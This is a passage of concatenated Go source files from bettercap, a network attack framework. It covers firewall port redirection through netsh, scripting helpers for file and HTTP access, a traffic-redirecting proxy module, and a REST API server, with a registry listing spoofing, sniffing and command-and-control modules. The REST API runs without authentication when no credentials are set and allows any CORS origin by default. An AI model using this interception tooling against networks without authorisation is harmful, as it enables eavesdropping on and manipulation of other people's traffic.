fmt.Sprintf("listenport=%d", r.SrcPort),
}
if enabled {
rule = append(rule, fmt.Sprintf("connectport=%d", r.DstPort))
rule = append(rule, fmt.Sprintf("connectaddress=%s", r.DstAddress))
rule = append(rule, fmt.Sprintf("protocol=%s", r.Protocol))
}
return rule
}
func (f *WindowsFirewall) AllowPort(port int, address string, proto string, allow bool) error {
ruleName := fmt.Sprintf("bettercap-rule-%s-%s-%d", address, proto, port)
nameField := fmt.Sprintf(`name="%s"`, ruleName)
protoField := fmt.Sprintf("protocol=%s", proto)
// ipField := fmt.Sprintf("lolcalip=%s", address)
portField := fmt.Sprintf("localport=%d", port)
cmd := []string{}
if allow {
cmd = []string{"advfirewall", "firewall", "add", "rule", nameField, protoField, "dir=in", portField, "action=allow"}
} else {
cmd = []string{"advfirewall", "firewall", "delete", "rule", nameField, protoField, portField}
}
if _, err := core.Exec("netsh", cmd); err != nil {
return err
}
return nil
}
func (f *WindowsFirewall) EnableRedirection(r *Redirection, enabled bool) error {
if err := f.AllowPort(r.SrcPort, r.DstAddress, r.Protocol, enabled); err != nil {
return err
} else if err := f.AllowPort(r.DstPort, r.DstAddress, r.Protocol, enabled); err != nil {
return err
}
rule := f.generateRule(r, enabled)
if enabled {
rule = append([]string{"interface", "portproxy", "add", "v4tov4"}, rule...)
} else {
rule = append([]string{"interface", "portproxy", "delete", "v4tov4"}, rule...)
}
if _, err := core.Exec("netsh", rule); err != nil {
return err
}
return nil
}
func (f WindowsFirewall) Restore() {
for _, r := range f.redirections {
if err := f.EnableRedirection(r, false); err != nil {
fmt.Printf("%s", err)
}
}
if err := f.EnableForwarding(f.forwarding); err != nil {
fmt.Printf("%s", err)
}
} |
Go | bettercap/firewall/redirection.go | package firewall
import "fmt"
type Redirection struct {
Interface string
Protocol string
SrcAddress string
SrcPort int
DstAddress string
DstPort int
}
func NewRedirection(iface string, proto string, port_from int, addr_to string, port_to int) *Redirection {
return &Redirection{
Interface: iface,
Protocol: proto,
SrcAddress: "",
SrcPort: port_from,
DstAddress: addr_to,
DstPort: port_to,
}
}
func (r Redirection) String() string {
return fmt.Sprintf("[%s] (%s) %s:%d -> %s:%d", r.Interface, r.Protocol, r.SrcAddress, r.SrcPort, r.DstAddress, r.DstPort)
} |
Go | bettercap/js/data.go | package js
import (
"bytes"
"compress/gzip"
"encoding/base64"
"github.com/robertkrimen/otto"
)
func btoa(call otto.FunctionCall) otto.Value {
varValue := base64.StdEncoding.EncodeToString([]byte(call.Argument(0).String()))
v, err := otto.ToValue(varValue)
if err != nil {
return ReportError("Could not convert to string: %s", varValue)
}
return v
}
func atob(call otto.FunctionCall) otto.Value {
varValue, err := base64.StdEncoding.DecodeString(call.Argument(0).String())
if err != nil {
return ReportError("Could not decode string: %s", call.Argument(0).String())
}
v, err := otto.ToValue(string(varValue))
if err != nil {
return ReportError("Could not convert to string: %s", varValue)
}
return v
}
func gzipCompress(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("gzipCompress: expected 1 argument, %d given instead.", argc)
}
uncompressedBytes := []byte(argv[0].String())
var writerBuffer bytes.Buffer
gzipWriter := gzip.NewWriter(&writerBuffer)
_, err := gzipWriter.Write(uncompressedBytes)
if err != nil {
return ReportError("gzipCompress: could not compress data: %s", err.Error())
}
gzipWriter.Close()
compressedBytes := writerBuffer.Bytes()
v, err := otto.ToValue(string(compressedBytes))
if err != nil {
return ReportError("Could not convert to string: %s", err.Error())
}
return v
}
func gzipDecompress(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("gzipDecompress: expected 1 argument, %d given instead.", argc)
}
compressedBytes := []byte(argv[0].String())
readerBuffer := bytes.NewBuffer(compressedBytes)
gzipReader, err := gzip.NewReader(readerBuffer)
if err != nil {
return ReportError("gzipDecompress: could not create gzip reader: %s", err.Error())
}
var decompressedBuffer bytes.Buffer
_, err = decompressedBuffer.ReadFrom(gzipReader)
if err != nil {
return ReportError("gzipDecompress: could not decompress data: %s", err.Error())
}
decompressedBytes := decompressedBuffer.Bytes()
v, err := otto.ToValue(string(decompressedBytes))
if err != nil {
return ReportError("Could not convert to string: %s", err.Error())
}
return v
} |
Go | bettercap/js/fs.go | package js
import (
"github.com/robertkrimen/otto"
"io/ioutil"
)
func readDir(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("readDir: expected 1 argument, %d given instead.", argc)
}
path := argv[0].String()
dir, err := ioutil.ReadDir(path)
if err != nil {
return ReportError("Could not read directory %s: %s", path, err)
}
entry_list := []string{}
for _, file := range dir {
entry_list = append(entry_list, file.Name())
}
v, err := otto.Otto.ToValue(*call.Otto, entry_list)
if err != nil {
return ReportError("Could not convert to array: %s", err)
}
return v
}
func readFile(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 1 {
return ReportError("readFile: expected 1 argument, %d given instead.", argc)
}
filename := argv[0].String()
raw, err := ioutil.ReadFile(filename)
if err != nil {
return ReportError("Could not read file %s: %s", filename, err)
}
v, err := otto.ToValue(string(raw))
if err != nil {
return ReportError("Could not convert to string: %s", err)
}
return v
}
func writeFile(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc != 2 {
return ReportError("writeFile: expected 2 arguments, %d given instead.", argc)
}
filename := argv[0].String()
data := argv[1].String()
err := ioutil.WriteFile(filename, []byte(data), 0644)
if err != nil {
return ReportError("Could not write %d bytes to %s: %s", len(data), filename, err)
}
return otto.NullValue()
} |
Go | bettercap/js/http.go | package js
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"net/http"
"net/url"
"strings"
"github.com/robertkrimen/otto"
)
type httpPackage struct {
}
type httpResponse struct {
Error error
Response *http.Response
Raw []byte
Body string
JSON interface{}
}
func (c httpPackage) Encode(s string) string {
return url.QueryEscape(s)
}
func (c httpPackage) Request(method string, uri string,
headers map[string]string,
form map[string]string,
json string) httpResponse {
var reader io.Reader
if form != nil {
data := url.Values{}
for k, v := range form {
data.Set(k, v)
}
reader = bytes.NewBufferString(data.Encode())
} else if json != "" {
reader = strings.NewReader(json)
}
req, err := http.NewRequest(method, uri, reader)
if err != nil {
return httpResponse{Error: err}
}
if form != nil {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
} else if json != "" {
req.Header.Set("Content-Type", "application/json")
}
for name, value := range headers {
req.Header.Add(name, value)
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return httpResponse{Error: err}
}
defer resp.Body.Close()
raw, err := ioutil.ReadAll(resp.Body)
if err != nil {
return httpResponse{Error: err}
}
res := httpResponse{
Response: resp,
Raw: raw,
Body: string(raw),
}
if resp.StatusCode != http.StatusOK {
res.Error = fmt.Errorf("%s", resp.Status)
}
return res
}
func (c httpPackage) Get(url string, headers map[string]string) httpResponse {
return c.Request("GET", url, headers, nil, "")
}
func (c httpPackage) PostForm(url string, headers map[string]string, form map[string]string) httpResponse {
return c.Request("POST", url, headers, form, "")
}
func (c httpPackage) PostJSON(url string, headers map[string]string, json string) httpResponse {
return c.Request("POST", url, headers, nil, json)
}
func httpRequest(call otto.FunctionCall) otto.Value {
argv := call.ArgumentList
argc := len(argv)
if argc < 2 {
return ReportError("httpRequest: expected 2 or more, %d given instead.", argc)
}
method := argv[0].String()
url := argv[1].String()
client := &http.Client{}
req, err := http.NewRequest(method, url, nil)
if argc >= 3 {
data := argv[2].String()
req, err = http.NewRequest(method, url, bytes.NewBuffer([]byte(data)))
if err != nil {
return ReportError("Could create request to url %s: %s", url, err)
}
if argc > 3 {
headers := argv[3].Object()
for _, key := range headers.Keys() {
v, err := headers.Get(key)
if err != nil {
return ReportError("Could add header %s to request: %s", key, err)
}
req.Header.Add(key, v.String())
}
}
} else if err != nil {
return ReportError("Could create request to url %s: %s", url, err)
}
resp, err := client.Do(req)
if err != nil {
return ReportError("Could not request url %s: %s", url, err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return ReportError("Could not read response: %s", err)
}
object, err := otto.New().Object("({})")
if err != nil {
return ReportError("Could not create response object: %s", err)
}
err = object.Set("body", string(body))
if err != nil {
return ReportError("Could not populate response object: %s", err)
}
v, err := otto.ToValue(object)
if err != nil {
return ReportError("Could not convert to object: %s", err)
}
return v
} |
Go | bettercap/js/init.go | package js
import (
"github.com/evilsocket/islazy/log"
"github.com/evilsocket/islazy/plugin"
"github.com/robertkrimen/otto"
)
var NullValue = otto.Value{}
func ReportError(format string, args ...interface{}) otto.Value {
log.Error(format, args...)
return NullValue
}
func init() {
// TODO: refactor this in packages
plugin.Defines["readDir"] = readDir
plugin.Defines["readFile"] = readFile
plugin.Defines["writeFile"] = writeFile
plugin.Defines["log"] = flog
plugin.Defines["log_debug"] = log_debug
plugin.Defines["log_info"] = log_info
plugin.Defines["log_warn"] = log_warn
plugin.Defines["log_error"] = log_error
plugin.Defines["log_fatal"] = log_fatal
plugin.Defines["btoa"] = btoa
plugin.Defines["atob"] = atob
plugin.Defines["gzipCompress"] = gzipCompress
plugin.Defines["gzipDecompress"] = gzipDecompress
plugin.Defines["httpRequest"] = httpRequest
plugin.Defines["http"] = httpPackage{}
plugin.Defines["random"] = randomPackage{}
} |
Go | bettercap/js/log.go | package js
import (
"github.com/evilsocket/islazy/log"
"github.com/robertkrimen/otto"
)
func flog(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Info("%s", v.String())
}
return otto.Value{}
}
func log_debug(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Debug("%s", v.String())
}
return otto.Value{}
}
func log_info(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Info("%s", v.String())
}
return otto.Value{}
}
func log_warn(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Warning("%s", v.String())
}
return otto.Value{}
}
func log_error(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Error("%s", v.String())
}
return otto.Value{}
}
func log_fatal(call otto.FunctionCall) otto.Value {
for _, v := range call.ArgumentList {
log.Fatal("%s", v.String())
}
return otto.Value{}
} |
Go | bettercap/js/random.go | package js
import (
"math/rand"
"net"
"github.com/bettercap/bettercap/network"
)
type randomPackage struct {
}
func (c randomPackage) String(size int, charset string) string {
runes := []rune(charset)
nrunes := len(runes)
buf := make([]rune, size)
for i := range buf {
buf[i] = runes[rand.Intn(nrunes)]
}
return string(buf)
}
func (c randomPackage) Mac() string {
hw := make([]byte, 6)
rand.Read(hw)
return network.NormalizeMac(net.HardwareAddr(hw).String())
} |
Go | bettercap/log/doc.go | // Package log contains a transparent interface for logging which interacts with the system event queue.
package log |
Go | bettercap/log/log.go | package log
import (
"github.com/bettercap/bettercap/session"
ll "github.com/evilsocket/islazy/log"
)
func Debug(format string, args ...interface{}) {
session.I.Events.Log(ll.DEBUG, format, args...)
}
func Info(format string, args ...interface{}) {
session.I.Events.Log(ll.INFO, format, args...)
}
func Warning(format string, args ...interface{}) {
session.I.Events.Log(ll.WARNING, format, args...)
}
func Error(format string, args ...interface{}) {
session.I.Events.Log(ll.ERROR, format, args...)
}
func Fatal(format string, args ...interface{}) {
session.I.Events.Log(ll.FATAL, format, args...)
} |
Go | bettercap/modules/modules.go | package modules
import (
"github.com/bettercap/bettercap/modules/any_proxy"
"github.com/bettercap/bettercap/modules/api_rest"
"github.com/bettercap/bettercap/modules/arp_spoof"
"github.com/bettercap/bettercap/modules/ble"
"github.com/bettercap/bettercap/modules/c2"
"github.com/bettercap/bettercap/modules/caplets"
"github.com/bettercap/bettercap/modules/dhcp6_spoof"
"github.com/bettercap/bettercap/modules/dns_spoof"
"github.com/bettercap/bettercap/modules/events_stream"
"github.com/bettercap/bettercap/modules/gps"
"github.com/bettercap/bettercap/modules/hid"
"github.com/bettercap/bettercap/modules/http_proxy"
"github.com/bettercap/bettercap/modules/http_server"
"github.com/bettercap/bettercap/modules/https_proxy"
"github.com/bettercap/bettercap/modules/https_server"
"github.com/bettercap/bettercap/modules/mac_changer"
"github.com/bettercap/bettercap/modules/mdns_server"
"github.com/bettercap/bettercap/modules/mysql_server"
"github.com/bettercap/bettercap/modules/ndp_spoof"
"github.com/bettercap/bettercap/modules/net_probe"
"github.com/bettercap/bettercap/modules/net_recon"
"github.com/bettercap/bettercap/modules/net_sniff"
"github.com/bettercap/bettercap/modules/packet_proxy"
"github.com/bettercap/bettercap/modules/syn_scan"
"github.com/bettercap/bettercap/modules/tcp_proxy"
"github.com/bettercap/bettercap/modules/ticker"
"github.com/bettercap/bettercap/modules/ui"
"github.com/bettercap/bettercap/modules/update"
"github.com/bettercap/bettercap/modules/wifi"
"github.com/bettercap/bettercap/modules/wol"
"github.com/bettercap/bettercap/session"
)
func LoadModules(sess *session.Session) {
sess.Register(any_proxy.NewAnyProxy(sess))
sess.Register(arp_spoof.NewArpSpoofer(sess))
sess.Register(api_rest.NewRestAPI(sess))
sess.Register(ble.NewBLERecon(sess))
sess.Register(dhcp6_spoof.NewDHCP6Spoofer(sess))
sess.Register(net_recon.NewDiscovery(sess))
sess.Register(dns_spoof.NewDNSSpoofer(sess))
sess.Register(events_stream.NewEventsStream(sess))
sess.Register(gps.NewGPS(sess))
sess.Register(http_proxy.NewHttpProxy(sess))
sess.Register(http_server.NewHttpServer(sess))
sess.Register(https_proxy.NewHttpsProxy(sess))
sess.Register(https_server.NewHttpsServer(sess))
sess.Register(mac_changer.NewMacChanger(sess))
sess.Register(mysql_server.NewMySQLServer(sess))
sess.Register(mdns_server.NewMDNSServer(sess))
sess.Register(net_sniff.NewSniffer(sess))
sess.Register(packet_proxy.NewPacketProxy(sess))
sess.Register(net_probe.NewProber(sess))
sess.Register(syn_scan.NewSynScanner(sess))
sess.Register(tcp_proxy.NewTcpProxy(sess))
sess.Register(ticker.NewTicker(sess))
sess.Register(wifi.NewWiFiModule(sess))
sess.Register(wol.NewWOL(sess))
sess.Register(hid.NewHIDRecon(sess))
sess.Register(c2.NewC2(sess))
sess.Register(ndp_spoof.NewNDPSpoofer(sess))
sess.Register(caplets.NewCapletsModule(sess))
sess.Register(update.NewUpdateModule(sess))
sess.Register(ui.NewUIModule(sess))
} |
Go | bettercap/modules/any_proxy/any_proxy.go | package any_proxy
import (
"fmt"
"github.com/bettercap/bettercap/firewall"
"github.com/bettercap/bettercap/session"
"github.com/evilsocket/islazy/str"
"strconv"
"strings"
)
type AnyProxy struct {
session.SessionModule
// not using map[int]*firewall.Redirection to preserve order
ports []int
redirections []*firewall.Redirection
}
func NewAnyProxy(s *session.Session) *AnyProxy {
mod := &AnyProxy{
SessionModule: session.NewSessionModule("any.proxy", s),
}
mod.AddParam(session.NewStringParameter("any.proxy.iface",
session.ParamIfaceName,
"",
"Interface to redirect packets from."))
mod.AddParam(session.NewStringParameter("any.proxy.protocol",
"TCP",
"(TCP|UDP)",
"Proxy protocol."))
mod.AddParam(session.NewStringParameter("any.proxy.src_port",
"80",
"",
"Remote port to redirect when the module is activated, "+
"also supported a comma separated list of ports and/or port-ranges."))
mod.AddParam(session.NewStringParameter("any.proxy.src_address",
"",
"",
"Leave empty to intercept any source address."))
mod.AddParam(session.NewStringParameter("any.proxy.dst_address",
session.ParamIfaceAddress,
"",
"Address where the proxy is listening."))
mod.AddParam(session.NewIntParameter("any.proxy.dst_port",
"8080",
"Port where the proxy is listening."))
mod.AddHandler(session.NewModuleHandler("any.proxy on", "",
"Start the custom proxy redirection.",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("any.proxy off", "",
"Stop the custom proxy redirection.",
func(args []string) error {
return mod.Stop()
}))
return mod
}
func (mod *AnyProxy) Name() string {
return "any.proxy"
}
func (mod *AnyProxy) Description() string {
return "A firewall redirection to any custom proxy."
}
func (mod *AnyProxy) Author() string {
return "Simone Margaritelli <[email protected]>"
}
func (mod *AnyProxy) Configure() error {
var err error
var srcPorts string
var dstPort int
var iface string
var protocol string
var srcAddress string
var dstAddress string
if mod.Running() {
return session.ErrAlreadyStarted(mod.Name())
} else if err, iface = mod.StringParam("any.proxy.iface"); err != nil {
return err
} else if err, protocol = mod.StringParam("any.proxy.protocol"); err != nil {
return err
} else if err, dstPort = mod.IntParam("any.proxy.dst_port"); err != nil {
return err
} else if err, srcAddress = mod.StringParam("any.proxy.src_address"); err != nil {
return err
} else if err, dstAddress = mod.StringParam("any.proxy.dst_address"); err != nil {
return err
}
if err, srcPorts = mod.StringParam("any.proxy.src_port"); err != nil {
return err
} else {
var ports []int
// srcPorts can be a single port, a list of ports or a list of ranges, or a mix.
for _, token := range str.Comma(str.Trim(srcPorts)) {
if p, err := strconv.Atoi(token); err == nil {
// simple case, integer port
ports = append(ports, p)
} else if strings.Contains(token, "-") {
// port range
if parts := strings.Split(token, "-"); len(parts) == 2 {
if from, err := strconv.Atoi(str.Trim(parts[0])); err != nil {
return fmt.Errorf("invalid start port %s: %s", parts[0], err)
} else if from < 1 || from > 65535 {
return fmt.Errorf("port %s out of valid range", parts[0])
} else if to, err := strconv.Atoi(str.Trim(parts[1])); err != nil {
return fmt.Errorf("invalid end port %s: %s", parts[1], err)
} else if to < 1 || to > 65535 {
return fmt.Errorf("port %s out of valid range", parts[1])
} else if from > to {
return fmt.Errorf("start port should be lower than end port")
} else {
for p := from; p <= to; p++ {
ports = append(ports, p)
}
}
} else {
return fmt.Errorf("can't parse '%s' as range", token)
}
} else {
return fmt.Errorf("can't parse '%s' as port or range", token)
}
}
// after parsing and validation, create a redirection per source port
mod.ports = ports
mod.redirections = nil
for _, port := range mod.ports {
redir := firewall.NewRedirection(iface,
protocol,
port,
dstAddress,
dstPort)
if srcAddress != "" {
redir.SrcAddress = srcAddress
}
mod.redirections = append(mod.redirections, redir)
}
}
if !mod.Session.Firewall.IsForwardingEnabled() {
mod.Info("Enabling forwarding.")
mod.Session.Firewall.EnableForwarding(true)
}
for _, redir := range mod.redirections {
if err := mod.Session.Firewall.EnableRedirection(redir, true); err != nil {
return err
}
mod.Info("applied redirection %s", redir.String())
}
return nil
}
func (mod *AnyProxy) Start() error {
if err := mod.Configure(); err != nil {
return err
}
return mod.SetRunning(true, func() {})
}
func (mod *AnyProxy) Stop() error {
for _, redir := range mod.redirections {
mod.Info("disabling redirection %s", redir.String())
if err := mod.Session.Firewall.EnableRedirection(redir, false); err != nil {
return err
}
}
return mod.SetRunning(false, func() {})
} |
Go | bettercap/modules/api_rest/api_rest.go | package api_rest
import (
"context"
"fmt"
"net/http"
"sync"
"time"
"github.com/bettercap/bettercap/session"
"github.com/bettercap/bettercap/tls"
"github.com/bettercap/recording"
"github.com/gorilla/mux"
"github.com/gorilla/websocket"
"github.com/evilsocket/islazy/fs"
)
type RestAPI struct {
session.SessionModule
server *http.Server
username string
password string
certFile string
keyFile string
allowOrigin string
useWebsocket bool
upgrader websocket.Upgrader
quit chan bool
recClock int
recording bool
recTime int
loading bool
replaying bool
recordFileName string
recordWait *sync.WaitGroup
record *recording.Archive
recStarted time.Time
recStopped time.Time
}
func NewRestAPI(s *session.Session) *RestAPI {
mod := &RestAPI{
SessionModule: session.NewSessionModule("api.rest", s),
server: &http.Server{},
quit: make(chan bool),
useWebsocket: false,
allowOrigin: "*",
upgrader: websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
},
recClock: 1,
recording: false,
recTime: 0,
loading: false,
replaying: false,
recordFileName: "",
recordWait: &sync.WaitGroup{},
record: nil,
}
mod.State.Store("recording", &mod.recording)
mod.State.Store("rec_clock", &mod.recClock)
mod.State.Store("replaying", &mod.replaying)
mod.State.Store("loading", &mod.loading)
mod.State.Store("load_progress", 0)
mod.State.Store("rec_time", &mod.recTime)
mod.State.Store("rec_filename", &mod.recordFileName)
mod.State.Store("rec_frames", 0)
mod.State.Store("rec_cur_frame", 0)
mod.State.Store("rec_started", &mod.recStarted)
mod.State.Store("rec_stopped", &mod.recStopped)
mod.AddParam(session.NewStringParameter("api.rest.address",
"127.0.0.1",
session.IPv4Validator,
"Address to bind the API REST server to."))
mod.AddParam(session.NewIntParameter("api.rest.port",
"8081",
"Port to bind the API REST server to."))
mod.AddParam(session.NewStringParameter("api.rest.alloworigin",
mod.allowOrigin,
"",
"Value of the Access-Control-Allow-Origin header of the API server."))
mod.AddParam(session.NewStringParameter("api.rest.username",
"",
"",
"API authentication username."))
mod.AddParam(session.NewStringParameter("api.rest.password",
"",
"",
"API authentication password."))
mod.AddParam(session.NewStringParameter("api.rest.certificate",
"",
"",
"API TLS certificate."))
tls.CertConfigToModule("api.rest", &mod.SessionModule, tls.DefaultLegitConfig)
mod.AddParam(session.NewStringParameter("api.rest.key",
"",
"",
"API TLS key"))
mod.AddParam(session.NewBoolParameter("api.rest.websocket",
"false",
"If true the /api/events route will be available as a websocket endpoint instead of HTTPS."))
mod.AddHandler(session.NewModuleHandler("api.rest on", "",
"Start REST API server.",
func(args []string) error {
return mod.Start()
}))
mod.AddHandler(session.NewModuleHandler("api.rest off", "",
"Stop REST API server.",
func(args []string) error {
return mod.Stop()
}))
mod.AddParam(session.NewIntParameter("api.rest.record.clock",
"1",
"Number of seconds to wait while recording with api.rest.record between one sample and the next one."))
mod.AddHandler(session.NewModuleHandler("api.rest.record off", "",
"Stop recording the session.",
func(args []string) error {
return mod.stopRecording()
}))
mod.AddHandler(session.NewModuleHandler("api.rest.record FILENAME", `api\.rest\.record (.+)`,
"Start polling the rest API periodically recording each sample in a compressed file that can be later replayed.",
func(args []string) error {
return mod.startRecording(args[0])
}))
mod.AddHandler(session.NewModuleHandler("api.rest.replay off", "",
"Stop replaying the recorded session.",
func(args []string) error {
return mod.stopReplay()
}))
mod.AddHandler(session.NewModuleHandler("api.rest.replay FILENAME", `api\.rest\.replay (.+)`,
"Start the rest API module in replay mode using FILENAME as the recorded session file, will revert to normal mode once the replay is over.",
func(args []string) error {
return mod.startReplay(args[0])
}))
return mod
}
type JSSessionRequest struct {
Command string `json:"cmd"`
}
type JSSessionResponse struct {
Error string `json:"error"`
}
func (mod *RestAPI) Name() string {
return "api.rest"
}
func (mod *RestAPI) Description() string {
return "Expose a RESTful API."
}
func (mod *RestAPI) Author() string {
return "Simone Margaritelli <[email protected]>"
}
func (mod *RestAPI) isTLS() bool {
return mod.certFile != "" && mod.keyFile != ""
}
func (mod *RestAPI) Configure() error {
var err error
var ip string
var port int
if mod.Running() {
return session.ErrAlreadyStarted(mod.Name())
} else if err, ip = mod.StringParam("api.rest.address"); err != nil {
return err
} else if err, port = mod.IntParam("api.rest.port"); err != nil {
return err
} else if err, mod.allowOrigin = mod.StringParam("api.rest.alloworigin"); err != nil {
return err
} else if err, mod.certFile = mod.StringParam("api.rest.certificate"); err != nil {
return err
} else if mod.certFile, err = fs.Expand(mod.certFile); err != nil {
return err
} else if err, mod.keyFile = mod.StringParam("api.rest.key"); err != nil {
return err
} else if mod.keyFile, err = fs.Expand(mod.keyFile); err != nil {
return err
} else if err, mod.username = mod.StringParam("api.rest.username"); err != nil {
return err
} else if err, mod.password = mod.StringParam("api.rest.password"); err != nil {
return err
} else if err, mod.useWebsocket = mod.BoolParam("api.rest.websocket"); err != nil {
return err
}
if mod.isTLS() {
if !fs.Exists(mod.certFile) || !fs.Exists(mod.keyFile) {
cfg, err := tls.CertConfigFromModule("api.rest", mod.SessionModule)
if err != nil {
return err
}
mod.Debug("%+v", cfg)
mod.Info("generating TLS key to %s", mod.keyFile)
mod.Info("generating TLS certificate to %s", mod.certFile)
if err := tls.Generate(cfg, mod.certFile, mod.keyFile, false); err != nil {
return err
}
} else {
mod.Info("loading TLS key from %s", mod.keyFile)
mod.Info("loading TLS certificate from %s", mod.certFile)
}
}
mod.server.Addr = fmt.Sprintf("%s:%d", ip, port)
router := mux.NewRouter()
router.Methods("OPTIONS").HandlerFunc(mod.corsRoute)
router.HandleFunc("/api/file", mod.fileRoute)
router.HandleFunc("/api/events", mod.eventsRoute)
router.HandleFunc("/api/session", mod.sessionRoute)
router.HandleFunc("/api/session/ble", mod.sessionRoute)
router.HandleFunc("/api/session/ble/{mac}", mod.sessionRoute)
router.HandleFunc("/api/session/hid", mod.sessionRoute)
router.HandleFunc("/api/session/hid/{mac}", mod.sessionRoute)
router.HandleFunc("/api/session/env", mod.sessionRoute)
router.HandleFunc("/api/session/gateway", mod.sessionRoute)
router.HandleFunc("/api/session/interface", mod.sessionRoute)
router.HandleFunc("/api/session/modules", mod.sessionRoute)
router.HandleFunc("/api/session/lan", mod.sessionRoute)
router.HandleFunc("/api/session/lan/{mac}", mod.sessionRoute)
router.HandleFunc("/api/session/options", mod.sessionRoute)
router.HandleFunc("/api/session/packets", mod.sessionRoute)
router.HandleFunc("/api/session/started-at", mod.sessionRoute)
router.HandleFunc("/api/session/wifi", mod.sessionRoute)
router.HandleFunc("/api/session/wifi/{mac}", mod.sessionRoute)
mod.server.Handler = router
if mod.username == "" || mod.password == "" {
mod.Warning("api.rest.username and/or api.rest.password parameters are empty, authentication is disabled.")
}
return nil
}
func (mod *RestAPI) Start() error {
if mod.replaying {
return fmt.Errorf("the api is currently in replay mode, run api.rest.replay off before starting it")
} else if err := mod.Configure(); err != nil {
return err
}
mod.SetRunning(true, func() {
var err error
if mod.isTLS() {
mod.Info("api server starting on https://%s", mod.server.Addr)
err = mod.server.ListenAndServeTLS(mod.certFile, mod.keyFile)
} else {
mod.Info("api server starting on http://%s", mod.server.Addr)
err = mod.server.ListenAndServe()
}
if err != nil && err != http.ErrServerClosed {
panic(err)
}
})
return nil
}
func (mod *RestAPI) Stop() error {
if mod.recording {
mod.stopRecording()
} else if mod.replaying {
mod.stopReplay()
}
return mod.SetRunning(false, func() {
go func() {
mod.quit <- true
}()
ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second)
defer cancel()
mod.server.Shutdown(ctx)
})
} |
Go | bettercap/modules/api_rest/api_rest_controller.go | package api_rest
import (
"crypto/subtle"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net/http"
"os"
"strconv"
"strings"
"github.com/bettercap/bettercap/session"
"github.com/gorilla/mux"
)
type CommandRequest struct {
Command string `json:"cmd"`
}
type APIResponse struct {
Success bool `json:"success"`
Message string `json:"msg"`
}
func (mod *RestAPI) setAuthFailed(w http.ResponseWriter, r *http.Request) {
mod.Warning("Unauthorized authentication attempt from %s to %s", r.RemoteAddr, r.URL.String())
w.Header().Set("WWW-Authenticate", `Basic realm="auth"`)
w.WriteHeader(401)
w.Write([]byte("Unauthorized"))
}
func (mod *RestAPI) toJSON(w http.ResponseWriter, o interface{}) {
w.Header().Set("Content-Type", "application/json")
if err := json.NewEncoder(w).Encode(o); err != nil {
mod.Debug("error while encoding object to JSON: %v", err)
}
}
func (mod *RestAPI) setSecurityHeaders(w http.ResponseWriter) {
w.Header().Add("X-Frame-Options", "DENY")
w.Header().Add("X-Content-Type-Options", "nosniff")
w.Header().Add("X-XSS-Protection", "1; mode=block")
w.Header().Add("Referrer-Policy", "same-origin")
w.Header().Set("Access-Control-Allow-Origin", mod.allowOrigin)
w.Header().Add("Access-Control-Allow-Headers", "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization")
w.Header().Add("Access-Control-Allow-Methods", "POST, GET, OPTIONS, PUT, DELETE")
}
func (mod *RestAPI) checkAuth(r *http.Request) bool {
if mod.username != "" && mod.password != "" {
user, pass, _ := r.BasicAuth()
// timing attack my ass
if subtle.ConstantTimeCompare([]byte(user), []byte(mod.username)) != 1 {
return false
} else if subtle.ConstantTimeCompare([]byte(pass), []byte(mod.password)) != 1 {
return false
}
}
return true
}
func (mod *RestAPI) patchFrame(buf []byte) (frame map[string]interface{}, err error) {
// this is ugly but necessary: since we're replaying, the
// api.rest state object is filled with *old* values (the
// recorded ones), but the UI needs updated values at least
// of that in order to understand that a replay is going on
// and where we are at it. So we need to parse the record
// back into a session object and update only the api.rest.state
frame = make(map[string]interface{})
if err = json.Unmarshal(buf, &frame); err != nil {
return
}
for _, i := range frame["modules"].([]interface{}) {
m := i.(map[string]interface{})
if m["name"] == "api.rest" {
state := m["state"].(map[string]interface{})
mod.State.Range(func(key interface{}, value interface{}) bool {
state[key.(string)] = value
return true
})
break
}
}
return
}
func (mod *RestAPI) showSession(w http.ResponseWriter, r *http.Request) {
if mod.replaying {
if !mod.record.Session.Over() {
from := mod.record.Session.Index() - 1
q := r.URL.Query()
vals := q["from"]
if len(vals) > 0 {
if n, err := strconv.Atoi(vals[0]); err == nil {
from = n
}
}
mod.record.Session.SetFrom(from)
mod.Debug("replaying session %d of %d from %s",
mod.record.Session.Index(),
mod.record.Session.Frames(),
mod.recordFileName)
mod.State.Store("rec_frames", mod.record.Session.Frames())
mod.State.Store("rec_cur_frame", mod.record.Session.Index())
buf := mod.record.Session.Next()
if frame, err := mod.patchFrame(buf); err != nil {
mod.Error("%v", err)
} else {
mod.toJSON(w, frame)
return
}
} else {
mod.stopReplay()
}
}
mod.toJSON(w, mod.Session)
}
func (mod *RestAPI) showBLE(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
mod.toJSON(w, mod.Session.BLE)
} else if dev, found := mod.Session.BLE.Get(mac); found {
mod.toJSON(w, dev)
} else {
http.Error(w, "Not Found", 404)
}
}
func (mod *RestAPI) showHID(w http.ResponseWriter, r *http.Request) {
params := mux.Vars(r)
mac := strings.ToLower(params["mac"])
if mac == "" {
mod.toJSON(w, mod.Session.HID)
} else if dev, found := mod.Session.HID.Get(mac); found {
mod.toJSON(w, dev)
} else {
http.Error(w, "Not Found", 404)
}
}
func (mod *RestAPI) showEnv(w http.ResponseWriter, r *http.Request) {
